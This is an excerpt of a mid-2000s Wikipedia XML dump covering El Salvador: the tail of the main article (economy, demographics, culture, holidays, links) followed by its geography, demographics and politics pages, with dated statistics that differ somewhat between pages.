Among the biggest challenges in El Salvador have been to manage the decline in the coffee sector, which only accounted for 7.0% of exports in [[2004]], and to develop new growth sectors for a more diversified economy. Currently there are fifteen [[free trade zone]]s in El Salvador. The largest beneficiary has been the [[maquila]] industry, which provides 88,700 jobs directly, and consists primarily of cutting and assembling clothes for [[export]] to the [[United States]].

El Salvador signed the [[Central American Free Trade Agreement]] (CAFTA), negotiated by the five countries of [[Central America]] and the [[Dominican Republic]], with the United States in [[2004]]. In order to take advantage of CAFTA, the Salvadoran government is challenged to conduct policies that guarantee better conditions for entrepreneurs and workers to transfer from declining to growing sectors in the economy. El Salvador has already signed free trade agreements with [[Mexico]], [[Chile]], the Dominican Republic, and [[Panama]], and increased its [[exports]] to those countries. El Salvador, Guatemala, Honduras, and Nicaragua also are negotiating a free trade agreement with [[Canada]].

[[Fiscal policy]] has been the biggest challenge for the Salvadoran government. The 1992 peace accords committed the government to heavy expenditures for transition programs and [[social work|social services]]. Although international aid was generous, the government has focused on improving the collection of its current [[revenues]]. A 10% [[value-added tax]] (VAT), implemented in September 1992, was raised to 13% in July [[1995]]. The VAT is the biggest source of revenue, accounting for about 52.3% of total [[tax revenues]] in [[2004]].

Remittances from Salvadorans working in the United States sent to family members are a major source of foreign income and offset the substantial [[trade deficit]] of around $2.9 billion. Remittances have increased steadily in the last decade and reached an all-time high of $2.9 billion in 2005&amp;mdash;approximately 17.1% of [[gross domestic product]] (GDP). As of April 2004, net [[international reserve system|international reserves]] stood at $1.9 billion.


In recent years [[inflation]] has fallen to single digit levels, and total exports have grown substantially.

== Demographics ==
[[Image:El Salvador demography.png|thumb|250px|right|Chart of El Salvador's population between 1961 and 2003 (figures taken from the [[Food and Agriculture Organization|FAO]], 2005). Population in thousands (i.e. 1=1 000; 6 000=6 000 000).]]
''Main article: [[Demographics of El Salvador]]''

El Salvador's population numbers about 6.7 million people. Around 90% is [[mestizo]] (mixed Amerindian and Spanish), some 9% white, and only 1% indigenous. Very few [[Amerindian]]s have retained their native customs, traditions, or languages. El Salvador is the only Central American country that has no native black population, probably because of its lack of Caribbean coasts, unlike its neighbors.

Spanish is the language spoken by virtually all inhabitants. The country's people are largely Roman [[Catholic]] (83% of the population), though [[Protestant]] groups are growing (15%). 

The capital city of [[San Salvador]] has about 2.1 million people; an estimated 42% of El Salvador's population live in rural areas.

According to the most recent [[United Nations]] survey, life expectancy for men was 68 years and 74 years for women. [[Education in El Salvador]] is free through [[high school]]. The national [[literacy]] rate is 84.1%.

At the beginning of 2004, there were approximately 3.1 million Salvadorans living outside El Salvador, many of whom are immigrants (though not always legally) in the [[United States]]. The USA has traditionally been the destination of choice for Salvadorans looking for greater economic opportunity than their current position can provide. Other countries with notable Salvadoran communities include Canada, Honduras, Guatemala, Belize and Australia. The situation worsened later during the civil war of the decade of the 1980s and from adverse economic and social conditions. Pursuant to peace accords signed in January of 1992 between the [[FMLN]] and the ARENA-party-dominated government, the government made a series of economic reforms in the mold of the free market model supported by the USA. This model has given good results on all economic levels, although politicians of the opposition parties argue that this is not the case. In 2001 El Salvador adopted, by legislative decree, the U.S. dollar as its official currency, replacing the previous currency called the Colon (Spanish for 'Columbus', as in Christopher Columbus).

== Culture ==

A small part of the population speaks [[Nahuatl]], the native language. The Roman Catholic religion played an important role in the Salvadoran culture. Painting, ceramics and textile articles are the main manual [[artistic]] expressions. Writers [[Francisco Gavidia]] ([[1863]]&amp;ndash;[[1955]]), Salvador Salazar Arrué, Claudia Lars, Alfredo Espino and [[Manlio Argueta]], and poet [[Roque Dalton]] are among the most important artists to stem from El Salvador.  Notable 20th century personages include the late filmmaker [[Baltasar Polio]] and artist [[Fernando Llort]].

&lt;TABLE border=&quot;1&quot; align=&quot;center&quot; cellpadding=&quot;1&quot; cellspacing=&quot;1&quot;&gt;
&lt;CAPTION&gt;&lt;font size=&quot;+1&quot;&gt;'''Holidays'''&lt;/font&gt;&lt;/caption&gt;
&lt;TR&gt;&lt;TH style=&quot;background:#efefef;&quot;&gt;Date&lt;TH style=&quot;background:#efefef;&quot;&gt;English Name&lt;TH style=&quot;background:#efefef;&quot;&gt;Local Name&lt;TH style=&quot;background:#efefef;&quot;&gt;Remarks
&lt;TR&gt;&lt;TD&gt;March/April&lt;TD&gt;Easter&lt;TD&gt;[[Semana Santa]]&lt;TD&gt;Celebrated with [[carnival]]-like events in different cities by the large Catholic population
&lt;TR&gt;&lt;TD&gt;[[May 1]]  &lt;TD&gt;Labor Day&lt;TD&gt;Día de los trabajadores&lt;TD&gt;International Labour Day&lt;TR&gt;&lt;TD&gt;[[May 10]]  &lt;TD&gt;Mother's Day&lt;TD&gt;Día de la Madre&lt;TD&gt;&amp;nbsp;
&lt;TR&gt;&lt;TD&gt;[[August 1]]&amp;ndash;[[August 7|7]]&lt;TD&gt;August Festivals&lt;TD&gt;Fiestas de Agosto&lt;TD&gt;Week long festival in Celebration for the El Salvador del Mundo, patron saint of El Salvador. &lt;/TR&gt;&lt;/TD&gt;
&lt;TR&gt;&lt;TD&gt;[[September 15]]&lt;TD&gt;Independence Day&lt;TD&gt;Día de la Independencia&lt;TD&gt;Celebrates independence from Spain, achieved in 1821&lt;TR&gt;&lt;TD&gt;[[October 12]]&lt;TD&gt;Columbus Day&lt;TD&gt;Día de la Raza&lt;TD&gt;This day commemorates the discovery of the Americas&lt;TR&gt;&lt;TD&gt;[[November 2]]&lt;TD&gt;Day of the Dead&lt;TD&gt;Día de los Difuntos&lt;TD&gt;&amp;nbsp;&lt;TR&gt;&lt;TD&gt;[[December 25]]&lt;TD&gt;Christmas Day&lt;TD&gt;Navidad&lt;TD&gt;&amp;nbsp;

&lt;/TABLE&gt;

== Miscellaneous topics ==
* [[List of Salvadorans]]
* [[Carlos Hernandez (boxer)|Carlos Hernandez]]
* [[Victor Ruano (Cineasta)|Victor Ruano]]
* [[Communications in El Salvador]]
* [[Football War]]
* [[Foreign relations of El Salvador]]
* [[Military of El Salvador]]
* [[Óscar Romero]]
* [[Transportation in El Salvador]]
* [[Central American Spanish]]

== External links==
{{sisterlinks|El Salvador}}
* [http://www.rsf.fr/article.php3?id_article=4116 Worldwide press freedom index] Rank 33 out of 139 countries (2 way tie)
* [http://www.tipcom.net/listasal/ Directorio de Sitios Web Salvadoreños] - Salvadoran Website Directory
* [http://www.nuestroblog.com Blogs El Salvador]
* [http://www.digestyc.gob.sv Economic and demographic data]
* [http://www.elsalvadorclasificados.com/ Clasificados Salvadoreños]
* [http://www.brevespacio.com Poetry El Salvador]
* [http://www.ayvevos.com/ Forums &amp; Salvadorian Community ]
* [http://www.4elsalvador.com/ Picture galleries of El Salvador]
* [http://www.medicosdeelsalvador.com/ Doctors in El Salvador] - Médicos de El Salvador
* [http://www.empresasenelsalvador.com/ Business Directory of El Salvador] Empresas en EL Salvador


'''National Anthem'''
* [http://www.navyband.navy.mil/anthems/ANTHEMS/El%20Salvador.mp3] (Natoinal Anthem of El Salvador in Mp3 form)
'''Government sites'''
* [http://www.casapres.gob.sv/ Casa Presidencial] (Website of the President)
* [http://www.asamblea.gob.sv/ Asamblea Legislativa] (Website of the Legislative Assembly)
* [http://www.fuerzaarmada.gob.sv/portadafa2.html Ministerio de Defensa Nacional] (Ministry of Defense)
* [http://www.fas.gob.sv Fuerza Aerea Salvadoreña] (Air Force of El Salvador)
* [http://www.marn.gob.sv/ Ministerio de Medio Ambiente y Recursos Naturales] (Ministry of the Environment and Natural resources)
* [http://www.rree.gob.sv/website/index.html Ministerio de Relaciones Exteriores] (Ministry of Foreign Affairs)
* [http://www.minec.gob.sv/ Ministerio de Economía] (Ministry of the Economy)
* [http://www.elsalvadorturismo.gob.sv/ Ministerio de Turismo] (Ministry of Tourism)
* [http://www.csj.gob.sv/idioma.htm Corte Suprema de Justicia] (Supreme Court of Justice)
* [http://www.pddh.gob.sv/ Procuraduría para la Defensa de los Derechos Humanos] (Office of the judge advocate general for the Defense of Human rights)

'''Salvadoran media'''
* News sites
** [http://www.diariocolatino.com/ Diario Colatino]
** [http://www.apes.org.sv/index.php Asociación de Periodistas de El Salvador]
** [http://www.laprensagrafica.com/portada/default.asp La Prensa Grafica]
** [http://www.elmundo.com.sv/ El Mundo]
** [http://www.elsalvador.com/ El Diario de Hoy]
** [http://www.elfaro.net/ El Faro]
** [http://www.flacso.org.sv/ El Flasco]
* Television sites
** [http://www.tcs246.com/ TCS]
** [http://www.canal12.com.sv/ Canal 12]
** [http://www.canal21tv.com.sv/ Canal 21]


'''Charities and Volunteer Organisations'''
* [http://www.asaprosar.com/ ASAPROSAR  - Salvadoran Association for Rural Health]
* [http://www.angelfire.com/pro/r-to-b/index.html Lifeline El Salvador - Volunteer, Work and Teach English Abroad]
* [http://www.fssca.net/ Foundation for Self-Sufficiency in Central America]
* [http://www.cispes.org/ CISPES - Committee in Solidarity with the People of El Salvador]


{{Central_America}}

[[Category:Central American countries]]
[[Category:El Salvador| ]]

[[an:El Salvador]]
[[bg:Ел Салвадор]]
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[[gl:O Salvador - El Salvador]]
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[[io:Salvadoria]]
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[[he:אל סלוודור]]
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[[ja:エルサルバドル]]
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[[th:สาธารณรัฐเอลซัลวาดอร์]]
[[tr:El Salvador]]
[[uk:Сальвадор]]
[[zh:萨尔瓦多]]

&lt;!-- Famous Salvadoran Graphics Designers Include:   
- -Josué Figueroa, an expert at &quot;tag art&quot;--&gt;</text>
    </revision>
  </page>
  <page>
    <title>El Salvador/History</title>
    <id>9357</id>
    <revision>
      <id>15907253</id>
      <timestamp>2002-05-23T08:51:32Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of El Salvador]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of El Salvador</title>
    <id>9358</id>
    <revision>
      <id>38471154</id>
      <timestamp>2006-02-06T15:33:53Z</timestamp>
      <contributor>
        <username>Brian0918</username>
        <id>90640</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/66.170.202.152|66.170.202.152]] ([[User talk:66.170.202.152|talk]]) to last version by 70.230.12.123</comment>
      <text xml:space="preserve">[[Image:El_salvador_sm04.png|thumb|right|300px|Map of El Salvador]]
[[image:Elsalvador_relief_map_1980.jpg|thumb|right|300px|Shaded relief map of El Salvador]]
[[Image:Satellite image of El Salvador in April 2002.jpg|thumb|right|300px|Satellite image of El Salvador in April 2002]]
[[Image:El salvador econ 1980.jpg|thumb|right|300px|Economic activity of El Salvador, 1980]]
[[Image:El salvador land 1980.jpg|thumb|right|300px|Vegetation and land use, 1980]]

The '''geography of El Salvador''' is unique among the nations of [[Central America]]. The country is in borders the [[Pacific Ocean|North Pacific Ocean]] to the south and southwest, with [[Guatemala]] in the north-northwest and [[Honduras]] to the north-northeast. In the southeast, the [[Golfo de Fonseca]] separtes it from [[Nicaragua]]. El Salvador is the smallest Central American country in area and is the only one without a [[coast]]line on the [[Caribbean Sea]].

'''[[Geographic coordinates]]:'''
{{coor dm|13|50|N|88|55|W|type:country}}


==Geology==

El Salvador, along with the rest of Middle America (a region comprising mainly Mexico and Central America), is one of the most seismologically active regions on earth, situated atop three of the large tectonic plates that constitute the earth's surface. The motion of these plates causes the area's earthquake and volcanic activity.

Most of Central America and the Caribbean Basin rests on the relatively motionless Caribbean Plate. The Pacific Ocean floor, however, is being carried northeast by the underlying motion of the Cocos Plate. Ocean floor material is relatively dense; when it strikes the lighter granite rocks of Central America, the ocean floor is forced down under the land mass, creating the deep Middle American Trench that lies off the coast of El Salvador. The subduction of the Cocos Plate accounts for the frequency of earthquakes near the coast. As the rocks constituting the ocean floor are forced down, they melt, and the molten material pours up through weaknesses in the surface rock, producing volcanoes and geysers.

North of El Salvador, Mexico and most of Guatemala are riding on the westward-moving North American Plate that butts against the northern edge of the stationary Caribbean Plate in southern Guatemala. The grinding action of these two plates creates a fault, similar to the San Andreas in California, that runs the length of the valley of the Rio Motagua in Guatemala. Motion along this fault is the source of earthquakes in northernmost El Salvador.

El Salvador has a long history of destructive earthquakes and volcanic eruptions. San Salvador was destroyed in 1756 and 1854, and it suffered heavy damage in the 1919, 1982, and 1986 tremors. The country has over twenty volcanoes, although only two, San Miguel and Izalco, have been active in recent years. Violent eruptions are rare. From the early nineteenth century to the mid1950s , Izalco erupted with a regularity that earned it the name &quot;Lighthouse of the Pacific.&quot; Its brilliant flares were clearly visible for great distances at sea, and at night its glowing lava turned it into a brilliant luminous cone.

==Physical features==
Two parallel mountain ranges cross El Salvador east to west with a central plateau between them and a narrow coastal plain hugging the Pacific. These physical features divide the country into two physiographic regions. The mountain ranges and central plateau covering 85 percent of the land comprise the interior highlands. The remaining coastal plains are referred to as the Pacific lowlands.

The northern range of mountains, the Sierra Madre, forms a continuous chain along the border with Honduras. Elevations in this region range from 1,600 to 2,200 meters. The area was once heavily forested, but overexploitation led to extensive erosion, and it has become semibarren. As a result, it is the country's most sparsely populated zone, with little farming or other development.

The southern range of mountains is actually a discontinuous chain of more than twenty volcanoes, clustered into five groups. The westernmost group, near the Guatemalan border, contains Izalco and Santa Ana, which at 2,365 meters is the highest point in El Salvador. Between the cones lie alluvial basins and rolling hills eroded from ash deposits. The volcanic soil is rich, and much of El Salvador's coffee is planted on these slopes.

The central plateau constitutes only 25 percent of the land area but contains the heaviest concentration of population and the country's largest cities. This plain is about 50 kilometers wide and has an average elevation of 600 meters. Terrain here is rolling, with occasional escarpments, lava fields, and geysers.

A narrow plain extends from the coastal volcanic range to the Pacific Ocean. This region has a width ranging from one to thirty-two kilometers with the widest section in the east, adjacent to the Golfo de Fonseca. Near La Libertad, however, the mountains pinch the lowlands out; the slopes of adjacent volcanoes come down directly to the sea. Surfaces in the Pacific lowlands are generally flat or gently rolling and result from alluvial deposits from nearby slopes.

El Salvador has over 300 rivers, the most important of which is the Rio Lempa. Originating in Guatemala, the Rio Lempa cuts across the northern range of mountains, flows along much of the central plateau, and finally cuts through the southern volcanic range to empty into the Pacific. It is El Salvador's only navigable river, and it and its tributaries drain about half the country. Other rivers are generally short and drain the Pacific lowlands or flow from the central plateau through gaps in the southern mountain range to the Pacific.

Numerous lakes of volcanic origin are found in the interior highlands; many of these lakes are surrounded by mountains and have high, steep banks. The largest lake, the Lago de Ilopango, lies just to the east of the capital. Other large lakes include the Lago de Coatepeque in the west and the Lago de Güija on the Guatemalan border. The Cerron Grande Dam on the Rio Lempa has created a large reservoir, the Embalse Cerron Grande, in northern El Salvador.

Izalco has erupted at least 51 times since 1770. It earned the nickname &quot;Lighthouse of the Pacific&quot; because it was the most active volcano in Central America.

==Climate==

El Salvador has a tropical climate with pronounced wet and dry seasons. Temperatures vary primarily with elevation and show little seasonal change. The Pacific lowlands are uniformly hot; the central plateau and mountain areas are more moderate.

The rainy season, known locally as ''invierno'', or winter, extends from May to October. Almost all the annual rainfall occurs during this time, and yearly totals, particularly on southern-facing mountain slopes, can be as high as 200 centimeters. Protected areas and the central plateau receive lesser, although still significant, amounts. Rainfall during this season generally comes from low pressure over the Pacific and usually falls in heavy afternoon thunderstorms. Although hurricanes occasionally form in the Pacific, they seldom affect El Salvador.

From November through April, the northeast trade winds control weather patterns. During these months, air flowing from the Caribbean has had most of the precipitation wrung out of it passing over the mountains in Honduras. By the time this air reaches El Salvador, it is dry, hot, and hazy. This season is known locally as ''verano'', or summer.

Temperatures vary little with season; elevation is the primary determinant. The Pacific lowlands are the hottest region, with annual averages ranging from 25°C to 29°C. San Salvador is representative of the central plateau, with an annual average temperature of 23°C and absolute high and low readings of 38°C and 7°C, respectively. Mountain areas are the coolest, with annual averages from 12°C to 23°C and minimum temperatures sometimes approaching freezing. 

==Other facts==

'''Area:'''
&lt;br&gt;''total:''
21,040 km&amp;sup2;
&lt;br&gt;''land:''
20,720 km&amp;sup2;
&lt;br&gt;''water:''
320 km&amp;sup2;

'''Area - comparative:'''
slightly smaller than Massachusetts

'''Land boundaries:'''
&lt;br&gt;''total:''
545 km
&lt;br&gt;''border countries:''
Guatemala 203 km, Honduras 342 km

'''Coastline:'''
307 km

'''Maritime claims:'''
&lt;br&gt;''territorial sea:''
200 nm

'''Climate:'''
tropical; rainy season (May to October); dry season (November to April); tropical on coast; temperate in uplands

'''Terrain:'''
mostly mountains with narrow coastal belt and central plateau

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
Pacific Ocean 0 m
&lt;br&gt;''highest point:''
[[Cerro El Pital]] 2,730 m

'''Natural resources:'''
[[hydropower]], [[geothermal power]], [[petroleum]], [[arable land]]

'''Land use:'''
&lt;br&gt;''arable land:''
27%
&lt;br&gt;''permanent crops:''
8%
&lt;br&gt;''permanent pastures:''
29%
&lt;br&gt;''forests and woodland:''
5%
&lt;br&gt;''other:''
31% (1993 est.)

'''Irrigated land:'''
1,200 km&amp;sup2; (1993 est.)

'''Natural hazards:'''
known as the Land of Volcanoes; frequent and sometimes very destructive earthquakes and volcanic activity, also destructive hurricanes are very common.

'''Environment - current issues:'''
deforestation; soil erosion; water pollution; contamination of soils from disposal of toxic wastes; Hurricane Mitch damage

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
[[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Climate Change-Kyoto Protocol]], [[Desertification]], [[Endangered Species]], [[Hazardous Wastes]], [[Nuclear Test Ban]], [[Ozone Layer Protection]], [[Wetlands]]
&lt;br&gt;''signed, but not ratified:''
Law of the Sea

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''CIA World Fact Book''

[[Category:Geography by country|El Salvador]]
[[Category:Geography of El Salvador| ]]

[[es:Geografía de El Salvador]]
[[fr:Géographie du Salvador]]
[[pt:Geografia de El Salvador]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of El Salvador</title>
    <id>9359</id>
    <revision>
      <id>42060024</id>
      <timestamp>2006-03-03T15:01:55Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>Dab. catholic</comment>
      <text xml:space="preserve">[[El Salvador]]'s [[population]] numbers about 6.2 million; almost 90% is of mixed Amerindian and Spanish extraction. About 1% is indigenous; very few Indians have retained their customs and traditions.  The low numbers of indigenous may be partly explained by La Matanza in 1932 which saw (estimates of) up to 30,000 peasants killed in a short period of time.  Whilst they were not necessarily killed because they were indigenous, one of the identifying features of the peasants was their indigenous dress.  Many authors note that since La Matanza the indigenous in El Salvador have been very reluctant to describe themselves as such (in census declarations for example) or to wear indigenous dress or be seen to be taking part in any culture/customs that might be understood as indigenous.

The country's people are largely [[Roman Catholic]] -- though [[Protestant]] groups are growing -- and Spanish is the language spoken by virtually all inhabitants. The capital city of [[San Salvador, El Salvador|San Salvador]] has about 1.3 million people; an estimated 42% of El Salvador's population live in rural areas.

'''Population:'''
6,122,515 (July 2000 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
38% (male 1,186,328; female 1,141,245)
&lt;br&gt;''15-64 years:''
57% (male 1,652,083; female 1,833,998)
&lt;br&gt;''65 years and over:''
5% (male 139,919; female 168,942) (2000 est.)

'''Population growth rate:'''
1.87% (2000 est.)

'''Birth rate:'''
29.02 births/1,000 population (2000 est.)

'''Death rate:'''
6.27 deaths/1,000 population (2000 est.)

'''Net migration rate:'''
-4.02 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.05 male(s)/female
&lt;br&gt;''under 15 years:''
1.04 male(s)/female
&lt;br&gt;''15-64 years:''
0.9 male(s)/female
&lt;br&gt;''65 years and over:''
0.83 male(s)/female
&lt;br&gt;''total population:''
0.95 male(s)/female (2000 est.)

'''Infant mortality rate:'''
29.22 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
69.74 years
&lt;br&gt;''male:''
66.14 years
&lt;br&gt;''female:''
73.52 years (2000 est.)

'''Total fertility rate:'''
3.38 children born/woman (2000 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Salvadoran(s)
&lt;br&gt;''adjective:''
Salvadoran

'''Ethnic groups:'''
mestizo 90%, Amerindian 1%, white 9%

'''Religions:'''
Roman Catholic 86%
&lt;br&gt;''note:''
there is extensive activity by Protestant groups throughout the country; by the end of 1992, there were an estimated 1 million Protestant evangelicals in El Salvador

'''Languages:'''
Spanish, Nawat (among some Amerindians)

'''Literacy:'''
&lt;br&gt;''definition:''
age 10 and over can read and write
&lt;br&gt;''total population:''
71.5%
&lt;br&gt;''male:''
73.5%
&lt;br&gt;''female:''
69.8% (1995 est.)

:''See also :'' [[El Salvador]]

[[Category:Salvadoran society]]
[[Category:Demographics by country|El Salvador]]

[[es:Demografía de El Salvador]]
[[pt:Demografia de El Salvador]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of El Salvador</title>
    <id>9360</id>
    <revision>
      <id>39714729</id>
      <timestamp>2006-02-15T09:19:36Z</timestamp>
      <contributor>
        <username>Acntx</username>
        <id>104025</id>
      </contributor>
      <minor />
      <comment>/* Political Parties */</comment>
      <text xml:space="preserve">{{Politics of El Salvador}}
[[El Salvador]] is a democratic republic governed by a [[President of El Salvador|president]] and an 84-member unicameral [[Legislative Assembly of El Salvador|Legislative Assembly]]. The president is elected by [[suffrage|universal suffrage]] and serves for a 5-year term by absolute majority vote. A second round runoff is required in the event that no candidate receives more than 50% of the first round vote. Members of the assembly (called &quot;deputies&quot;, or ''diputados)'', also elected by universal suffrage, serve for three-year terms. The country has an independent judiciary and Supreme Court.

The [[Salvadoran presidential election, 2004|most recent presidential election]], held on [[21 March]] [[2004]], resulted in the election of [[Antonio Saca|Tony Saca]] of the [[Nationalist Republican Alliance|ARENA]] party with almost 58 percent of the vote, the highest in Salvadoran history. The turnout of 70 percent was also a record.  The youthful Saca, who embraced pro-business and pro-U.S. policies, recovered ground lost in the [[Salvadoran presidential election, 1999|1999 Presidential election]], which ARENA had barely survived, and in the March [[2000]] legislative races, in which ARENA had been eclipsed as the largest single party by the [[Farabundo Martí National Liberation Front]] and had retained overall control of the Assembly only by forging a coalition with a smaller party.

==Political Parties== 
[[Nationalist Republican Alliance]] ARENA is El Salvador's leading political party. It was created in [[1982]] by Major [[Roberto D'Aubuisson]] and others from the right wing, including members of the military. His electoral fortunes were diminished by credible reports that he was involved in organized political violence. Following the [[1984]] [[Salvadoran presidential election, 1984|presidential election]], ARENA began reaching out to more moderate individuals and groups, particularly in the private sector. By [[1989]], ARENA had attracted the support of business groups, and [[Alfredo Cristiani]] [[Salvadoran presidential election, 1989|won the presidency]]. Despite sincere efforts at reform, [[José Napoleón Duarte]]'s PDC administration had failed to either end the insurgency or improve the economy. Allegations of corruption, poor relations with the private sector, and historically low prices for the nation's main agricultural exports also contributed to ARENA victories in the [[1988]] [[Salvadoran legislative election, 1988|legislative]] and [[1989]] presidential elections. The [[1989]]-[[1994]] Cristiani administration's successes in achieving a peace agreement to end the civil war and in improving the nation's economy helped ARENA, led by standard-bearer [[Armando Calderón Sol]], [[Salvadoran presidential election, 1994|keep both the presidency]] and a [[Salvadoran legislative election, 1994|working majority]] in the Legislative Assembly in the [[1994]] elections. ARENA's legislative position was weakened in the [[1997]] [[Salvadoran legislative election, 1997|elections]], but it recovered its strength, helped by divisions in the opposition, in time for another victory in the [[1999]] [[Salvadoran presidential election, 1999|presidential race]] that brought President [[Francisco Flores]] to office.  In the March [[2000]] [[Salvadoran legislative election, 2000|legislative]] and municipal elections, ARENA won 29 seats in the Legislative Assembly and 127 mayoral races. 

In December [[1992]], the FMLN became a political party, composed of the political factions of the wartime guerrilla movement, and maintained a united front during the [[1994]] electoral campaign. The FMLN also came in second in the legislative assembly races. Internal political differences, however, among the FMLN's constituent parties led to the breakaway of two of the FMLN's original five factions after the [[1994]] elections. Despite the defections, the FMLN was able to consolidate its remaining factions and present itself as a viable option to ARENA in the [[1997]] elections. Divisions between &quot;orthodox&quot; and &quot;reformist&quot; wings of the FMLN crippled the party in the [[1999]] elections. In the March 2000 legislative and municipal elections, FMLN received 31 seats on the Legislative Assembly, which is three more than rival party ARENA. FMLN also won seventy seven mayorships and won 10 municipalities in coalition with other parties. The right wing of the [[National Conciliation Party]] (PCN), which ruled the country in alliance with the military from the [[1960s]] until [[1979]], maintain a small electoral base, and gained 10 seats in the March [[2000]] legislative election. Several smaller parties have in recent years fought for space in the political center with limited success. The PDC, which won more municipal elections in [[1994]] than did the FMLN, is now down to five seats in the Legislative Assembly and is no longer a significant electoral force.

==Compliance With the Peace Accords==
While most aspects of the accords have been largely implemented, important components such as judicial reform remain incomplete. The peace process set up under the Chapultepec Accords was monitored by the United Nations from [[1991]] until June [[1997]] when it closed its special monitoring mission in El Salvador.

==Human Rights==
During the 12-year civil war, human rights violations by both left- and right-wing forces were rampant. The accords established a Truth Commission under UN auspices to investigate the most serious cases. The commission reported its findings in [[1993]]. It recommended that those identified as human rights violators be removed from all government and military posts, as well as recommending judicial reforms. Thereafter, the Legislative Assembly granted amnesty for political crimes committed during the war. Among those freed as a result were the ESAF officers convicted in the November [[1989]] Jesuit murders and the FMLN ex-combatants held for the [[1991]] murders of two U.S. servicemen. The peace accords also required the establishment of the Ad Hoc Commission to evaluate the human rights record of the ESAF officer corps.

In [[1993]], the last of the 103 officers identified by this commission as responsible for human rights violations were retired, and the UN observer mission declared the government in compliance with the Ad Hoc Commission recommendations. Also in [[1993]], the Government of El Salvador and the UN established the Joint Group to investigate whether illegal, armed, politically motivated groups continued to exist after the signing of the peace accords. The group reported its findings in [[1994]] stating that death squads were no longer active but that violence was still being used to obtain political ends. The group recommended a special National Civilian Police (PNC) unit be created to investigate political and organized crime and that further reforms be made in the judicial system. Not all the group's recommendations were implemented. The peace accords provided for the establishment of a Human Rights Ombudsman's Office.

==Military Reform==
In accordance with the peace agreements, the constitution was amended to prohibit the military from playing an internal security role except under extraordinary circumstances. Demobilization of Salvadoran military forces generally proceeded on schedule throughout the process. The Treasury Police and National Guard were abolished, and military intelligence functions were transferred to civilian control. By [[1993]]--9 months ahead of schedule--the military had cut personnel from a wartime high of 63,000 to the level of 32,000 required by the peace accords. By [[1999]], ESAF strength stood at less than 15,000, including uniformed and non-uniformed personnel, consisting of personnel in the army, navy, and air force. A purge of military officers accused of human rights abuses and corruption was completed in [[1993]] in compliance with the Ad Hoc Commission's recommendations.

==National Civilian Police==
The new civilian police force, created to replace the discredited public security forces, deployed its first officers in March 1993, and was present throughout the country by the end of 1994. As of 1999, the PNC had over 18,000 officers. The United States, through the Department of Justice's International Criminal Investigative Training Assistance Program (ICITAP), has led international support for the PNC and the National Public Security Academy (ANSP), providing more than $30 million in nonlethal equipment and training since 1992. The Justice Department's ICITAP program plans to spend $1.5 million on assistance to the PNC in 2000. The ICITAP mission is to help the ANSP and the PNC to develop more experience in police techniques and procedures and assist with the development of an efficient operation and administration.

The PNC faces many challenges in building a completely new police force. With common crime rising dramatically since the end of the war, over 500 PNC officers had been killed in the line of duty by late 1998. PNC officers also have arrested a number of their own in connection with various high-profile crimes, and a &quot;purification&quot; process to weed out unfit personnel from throughout for force was undertaken late in 2000. U.S. assistance--about $1.2 million--is critical in helping start innovative community policing programs that attack the gang problem head-on, training criminal investigators and improving the training of police supervisors.

==Judiciary==
Both the Truth Commission and the Joint Group identified weaknesses in the judiciary and recommended solutions, the most dramatic being the replacement of all the magistrates on the Supreme Court. This recommendation was fulfilled in 1994 when an entirely new court was elected. The process of replacing incompetent judges in the lower courts, and of strengthening the attorney general's and public defender's offices, has moved more slowly. The government continues to work in all of these areas with the help of international donors, including the United States. Action on peace-accord driven constitutional reforms designed to improve the administration of justice was largely completed in 1996 with legislative approval of several amendments and the revision of the Criminal Procedure Code--with broad political consensus.

==Land Transfers==
More than 35,000 eligible beneficiaries from among the former guerrillas and soldiers who fought the war received land under the Peace Accord-mandated land transfer program which ended in January 1997. The majority of them also have received agricultural credits. The international community, the Salvadoran Government, the former rebels, and the various financial institutions involved in the process continue to work closely together to deal with follow-on issues resulting from the program.

==Legal system==
The constitution came into force on [[23 December]] [[1983]]. Based on civil and Roman law, with traces of common law. Judicial review of legislative acts in the Supreme Court. The Legislative Assembly passed a landmark judicial reforms in 1996. Suffrage is universal at 18.

==Executive branch==

Chief of state: President [[Elías Antonio Saca]] (since [[1 June]] [[2004]]); Vice President [[Ana Vilma de Escobar]]. Cabinet: Council of Ministers are selected by the President. 

==Legislative branch==
Unicameral [[Legislative Assembly of El Salvador|Legislative Assembly]] (or ''Asamblea Legislativa)'' (84 seats; members are elected by direct, popular vote to serve three-year terms) 

Election results &amp;ndash; seats by party
*[[FMLN]] 31
*[[Nationalist Republican Alliance|ARENA]] 28
*[[PCN]] 15
*[[PDC]] 5
*[[UCD]] 5



==Political pressure groups and leaders==
===Labor organizations===
Association of Agricultural Producers APROAS; Electrical Industry Union of El Salvador SIES; Federation of the Construction Industry, FESINCONTRANS; National Confederation of Salvadoran Workers CNTS; National Union of Salvadoran Workers UNTS; Port Industry Union of El Salvador SIPES; Salvadoran Workers Central CTS; Workers Union of Electrical Corporation STCEL

===Business organizations===
National Association of Small Enterprise, ANEP; Salvadoran Assembly Industry Association, ASIC; Salvadoran Industrial Association, ASI

==International organization participation==
BCIE, CACM, ECLAC, FAO, G-77, IADB, IAEA, IBRD, ICAO, ICFTU, ICRM, IDA, IFAD, IFC, IFRCS, ILO, IMF, IMO, Intelsat, Interpol, IOC, IOM, ISO (correspondent), ITU, LAES, LAIA (observer), MINURSO, NAM (observer), OAS, OPANAL, OPCW, PCA, UN, UNCTAD, UNESCO, UNIDO, UPU, WCL, WFTU, WHO, WIPO, WMO, WToO, WTrO

==See also==
*[[El Salvador]]

[[Category:Politics of El Salvador]]

[[es:Política de El Salvador]]
[[fr:Politique du Salvador]]
